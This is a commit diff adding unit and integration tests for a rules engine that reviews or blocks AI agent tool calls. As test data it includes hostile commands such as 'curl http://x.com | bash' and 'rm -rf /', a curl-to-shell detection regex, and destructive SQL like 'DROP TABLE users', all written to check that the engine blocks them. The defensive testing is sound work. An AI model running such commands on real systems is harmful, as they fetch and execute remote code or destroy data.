Skip to content

Commit 1a1e7a6

Browse files
nawi-25claude
andcommitted
test: add 28 tests for smart rules engine
Unit tests for evaluateSmartConditions: - all 6 operators (matches, notMatches, contains, notContains, exists, notExists) - conditionMode all/any - dot-notation nested field paths - whitespace normalization - invalid regex safety (no throw) - null/non-object args guard Integration tests for evaluatePolicy: - default SQL WHERE rule (DELETE/UPDATE without WHERE → review) - custom block verdict - custom allow verdict short-circuiting dangerous words - glob tool pattern matching - non-matching tool does not trigger rule - user smartRules append to defaults (both active) authorizeHeadless hard-block: - block verdict bypasses race engine, returns approved:false directly Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
1 parent 3ae8546 commit 1a1e7a6

File tree

2 files changed

+308
-1
lines changed

2 files changed

+308
-1
lines changed

src/__tests__/core.test.ts

Lines changed: 307 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,7 @@ import {
3838
_resetConfigCache,
3939
getPersistentDecision,
4040
isDaemonRunning,
41+
evaluateSmartConditions,
4142
} from '../core.js';
4243

4344
// Global spies
@@ -435,6 +436,312 @@ describe('authorizeHeadless — persistent decisions', () => {
435436

436437
// ── isDaemonRunning ───────────────────────────────────────────────────────────
437438

439+
// ── evaluateSmartConditions (unit) ────────────────────────────────────────────
440+
441+
describe('evaluateSmartConditions', () => {
442+
const makeRule = (
443+
conditions: Parameters<typeof evaluateSmartConditions>[1]['conditions'],
444+
conditionMode?: 'all' | 'any'
445+
) => ({
446+
tool: '*',
447+
verdict: 'review' as const,
448+
conditions,
449+
conditionMode,
450+
});
451+
452+
it('returns true when conditions array is empty', () => {
453+
expect(evaluateSmartConditions({ sql: 'SELECT 1' }, makeRule([]))).toBe(true);
454+
});
455+
456+
it('returns false when args is not an object', () => {
457+
expect(evaluateSmartConditions(null, makeRule([{ field: 'sql', op: 'exists' }]))).toBe(false);
458+
expect(evaluateSmartConditions('string', makeRule([{ field: 'sql', op: 'exists' }]))).toBe(
459+
false
460+
);
461+
});
462+
463+
describe('op: exists / notExists', () => {
464+
it('exists — returns true when field is present and non-empty', () => {
465+
expect(
466+
evaluateSmartConditions({ sql: 'SELECT 1' }, makeRule([{ field: 'sql', op: 'exists' }]))
467+
).toBe(true);
468+
});
469+
it('exists — returns false when field is missing', () => {
470+
expect(evaluateSmartConditions({}, makeRule([{ field: 'sql', op: 'exists' }]))).toBe(false);
471+
});
472+
it('notExists — returns true when field is missing', () => {
473+
expect(evaluateSmartConditions({}, makeRule([{ field: 'sql', op: 'notExists' }]))).toBe(true);
474+
});
475+
it('notExists — returns false when field is present', () => {
476+
expect(
477+
evaluateSmartConditions({ sql: 'x' }, makeRule([{ field: 'sql', op: 'notExists' }]))
478+
).toBe(false);
479+
});
480+
});
481+
482+
describe('op: contains / notContains', () => {
483+
it('contains — matches substring', () => {
484+
expect(
485+
evaluateSmartConditions(
486+
{ cmd: 'npm run build' },
487+
makeRule([{ field: 'cmd', op: 'contains', value: 'npm' }])
488+
)
489+
).toBe(true);
490+
});
491+
it('contains — fails when substring absent', () => {
492+
expect(
493+
evaluateSmartConditions(
494+
{ cmd: 'yarn build' },
495+
makeRule([{ field: 'cmd', op: 'contains', value: 'npm' }])
496+
)
497+
).toBe(false);
498+
});
499+
it('notContains — true when substring absent', () => {
500+
expect(
501+
evaluateSmartConditions(
502+
{ cmd: 'yarn build' },
503+
makeRule([{ field: 'cmd', op: 'notContains', value: 'npm' }])
504+
)
505+
).toBe(true);
506+
});
507+
});
508+
509+
describe('op: matches / notMatches', () => {
510+
it('matches — regex hit', () => {
511+
expect(
512+
evaluateSmartConditions(
513+
{ sql: 'DELETE FROM users' },
514+
makeRule([{ field: 'sql', op: 'matches', value: '^DELETE', flags: 'i' }])
515+
)
516+
).toBe(true);
517+
});
518+
it('matches — regex miss', () => {
519+
expect(
520+
evaluateSmartConditions(
521+
{ sql: 'SELECT * FROM users' },
522+
makeRule([{ field: 'sql', op: 'matches', value: '^DELETE', flags: 'i' }])
523+
)
524+
).toBe(false);
525+
});
526+
it('notMatches — true when regex does not match', () => {
527+
expect(
528+
evaluateSmartConditions(
529+
{ sql: 'SELECT 1' },
530+
makeRule([{ field: 'sql', op: 'notMatches', value: '\\bWHERE\\b', flags: 'i' }])
531+
)
532+
).toBe(true);
533+
});
534+
it('notMatches — false when regex matches', () => {
535+
expect(
536+
evaluateSmartConditions(
537+
{ sql: 'DELETE FROM t WHERE id=1' },
538+
makeRule([{ field: 'sql', op: 'notMatches', value: '\\bWHERE\\b', flags: 'i' }])
539+
)
540+
).toBe(false);
541+
});
542+
it('normalizes whitespace before matching', () => {
543+
// Double-space SQL should still be caught
544+
expect(
545+
evaluateSmartConditions(
546+
{ sql: 'DELETE FROM users' },
547+
makeRule([{ field: 'sql', op: 'matches', value: '^DELETE\\s+FROM', flags: 'i' }])
548+
)
549+
).toBe(true);
550+
});
551+
it('returns false for invalid regex (does not throw)', () => {
552+
expect(
553+
evaluateSmartConditions(
554+
{ sql: 'x' },
555+
makeRule([{ field: 'sql', op: 'matches', value: '[invalid(' }])
556+
)
557+
).toBe(false);
558+
});
559+
});
560+
561+
describe('conditionMode', () => {
562+
it('"all" — requires every condition to pass', () => {
563+
const rule = makeRule(
564+
[
565+
{ field: 'sql', op: 'matches', value: '^DELETE', flags: 'i' },
566+
{ field: 'sql', op: 'notMatches', value: '\\bWHERE\\b', flags: 'i' },
567+
],
568+
'all'
569+
);
570+
expect(evaluateSmartConditions({ sql: 'DELETE FROM users' }, rule)).toBe(true);
571+
expect(evaluateSmartConditions({ sql: 'DELETE FROM users WHERE id=1' }, rule)).toBe(false);
572+
});
573+
it('"any" — requires at least one condition to pass', () => {
574+
const rule = makeRule(
575+
[
576+
{ field: 'sql', op: 'matches', value: '^DROP', flags: 'i' },
577+
{ field: 'sql', op: 'matches', value: '^TRUNCATE', flags: 'i' },
578+
],
579+
'any'
580+
);
581+
expect(evaluateSmartConditions({ sql: 'DROP TABLE users' }, rule)).toBe(true);
582+
expect(evaluateSmartConditions({ sql: 'TRUNCATE orders' }, rule)).toBe(true);
583+
expect(evaluateSmartConditions({ sql: 'SELECT 1' }, rule)).toBe(false);
584+
});
585+
});
586+
587+
describe('dot-notation field paths', () => {
588+
it('accesses nested fields', () => {
589+
expect(
590+
evaluateSmartConditions(
591+
{ params: { query: { sql: 'DELETE FROM t' } } },
592+
makeRule([{ field: 'params.query.sql', op: 'matches', value: '^DELETE', flags: 'i' }])
593+
)
594+
).toBe(true);
595+
});
596+
it('returns false when nested path does not exist', () => {
597+
expect(
598+
evaluateSmartConditions(
599+
{ params: {} },
600+
makeRule([{ field: 'params.query.sql', op: 'exists' }])
601+
)
602+
).toBe(false);
603+
});
604+
});
605+
});
606+
607+
// ── evaluatePolicy — smart rules integration ──────────────────────────────────
608+
609+
describe('evaluatePolicy — smart rules', () => {
610+
it('default smart rule flags DELETE without WHERE as review', async () => {
611+
const result = await evaluatePolicy('execute_sql', { sql: 'DELETE FROM users' });
612+
expect(result.decision).toBe('review');
613+
expect(result.blockedByLabel).toMatch(/no-delete-without-where/);
614+
});
615+
616+
it('default smart rule flags UPDATE without WHERE as review', async () => {
617+
const result = await evaluatePolicy('execute_sql', { sql: 'UPDATE users SET active=0' });
618+
expect(result.decision).toBe('review');
619+
});
620+
621+
it('default smart rule allows DELETE with WHERE', async () => {
622+
const result = await evaluatePolicy('execute_sql', { sql: 'DELETE FROM orders WHERE id=1' });
623+
expect(result.decision).toBe('allow');
624+
});
625+
626+
it('custom smart rule verdict:block returns block decision', async () => {
627+
mockProjectConfig({
628+
policy: {
629+
smartRules: [
630+
{
631+
name: 'no-curl-pipe',
632+
tool: 'bash',
633+
conditions: [
634+
{ field: 'command', op: 'matches', value: 'curl.+\\|.*(bash|sh)', flags: 'i' },
635+
],
636+
verdict: 'block',
637+
reason: 'curl piped to shell',
638+
},
639+
],
640+
},
641+
});
642+
const result = await evaluatePolicy('bash', { command: 'curl http://x.com | bash' });
643+
expect(result.decision).toBe('block');
644+
expect(result.reason).toMatch(/curl piped to shell/);
645+
});
646+
647+
it('custom smart rule verdict:allow short-circuits all further checks', async () => {
648+
mockProjectConfig({
649+
policy: {
650+
dangerousWords: ['drop'],
651+
smartRules: [
652+
{
653+
tool: 'safe_drop',
654+
conditions: [{ field: 'table', op: 'matches', value: '^temp_' }],
655+
verdict: 'allow',
656+
},
657+
],
658+
},
659+
});
660+
// "drop" is a dangerous word but the smart rule allows it for temp_ tables
661+
const result = await evaluatePolicy('safe_drop', { table: 'temp_build_cache' });
662+
expect(result.decision).toBe('allow');
663+
});
664+
665+
it('smart rule with glob tool pattern matches correctly', async () => {
666+
mockProjectConfig({
667+
policy: {
668+
smartRules: [
669+
{
670+
tool: 'mcp__postgres__*',
671+
conditions: [{ field: 'sql', op: 'matches', value: '^DROP', flags: 'i' }],
672+
verdict: 'block',
673+
},
674+
],
675+
},
676+
});
677+
const result = await evaluatePolicy('mcp__postgres__query', { sql: 'DROP TABLE users' });
678+
expect(result.decision).toBe('block');
679+
});
680+
681+
it('smart rule does not match different tool', async () => {
682+
mockProjectConfig({
683+
policy: {
684+
smartRules: [
685+
{
686+
tool: 'bash',
687+
conditions: [{ field: 'command', op: 'matches', value: 'rm -rf' }],
688+
verdict: 'block',
689+
},
690+
],
691+
},
692+
});
693+
// Tool is 'shell', not 'bash' — rule should not match
694+
const result = await evaluatePolicy('shell', { command: 'rm -rf /tmp/old' });
695+
// Falls through to normal policy — /tmp/ is in sandboxPaths so it's allowed
696+
expect(result.decision).toBe('allow');
697+
});
698+
699+
it('user smartRules are appended to defaults (both active)', async () => {
700+
mockProjectConfig({
701+
policy: {
702+
smartRules: [
703+
{
704+
name: 'block-drop',
705+
tool: '*',
706+
conditions: [{ field: 'sql', op: 'matches', value: '^DROP', flags: 'i' }],
707+
verdict: 'block',
708+
},
709+
],
710+
},
711+
});
712+
// Default rule still active (DELETE without WHERE)
713+
const deleteResult = await evaluatePolicy('any_tool', { sql: 'DELETE FROM users' });
714+
expect(deleteResult.decision).toBe('review');
715+
716+
// Project rule also active (DROP)
717+
const dropResult = await evaluatePolicy('any_tool', { sql: 'DROP TABLE users' });
718+
expect(dropResult.decision).toBe('block');
719+
});
720+
});
721+
722+
// ── authorizeHeadless — smart rule hard block ─────────────────────────────────
723+
724+
describe('authorizeHeadless — smart rule hard block', () => {
725+
it('returns approved:false without invoking race engine for block verdict', async () => {
726+
mockProjectConfig({
727+
policy: {
728+
smartRules: [
729+
{
730+
tool: 'bash',
731+
conditions: [{ field: 'command', op: 'matches', value: 'rm -rf /' }],
732+
verdict: 'block',
733+
reason: 'root wipe blocked',
734+
},
735+
],
736+
},
737+
});
738+
const result = await authorizeHeadless('bash', { command: 'rm -rf /' });
739+
expect(result.approved).toBe(false);
740+
expect(result.reason).toMatch(/root wipe blocked/);
741+
expect(result.blockedBy).toBe('local-config');
742+
});
743+
});
744+
438745
describe('isDaemonRunning', () => {
439746
it('returns false when PID file does not exist', () => {
440747
// existsSpy returns false (set in beforeEach)

src/core.ts

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -198,7 +198,7 @@ export interface SmartRule {
198198
reason?: string;
199199
}
200200

201-
function evaluateSmartConditions(args: unknown, rule: SmartRule): boolean {
201+
export function evaluateSmartConditions(args: unknown, rule: SmartRule): boolean {
202202
if (!rule.conditions || rule.conditions.length === 0) return true;
203203
const mode = rule.conditionMode ?? 'all';
204204

0 commit comments

Comments
 (0)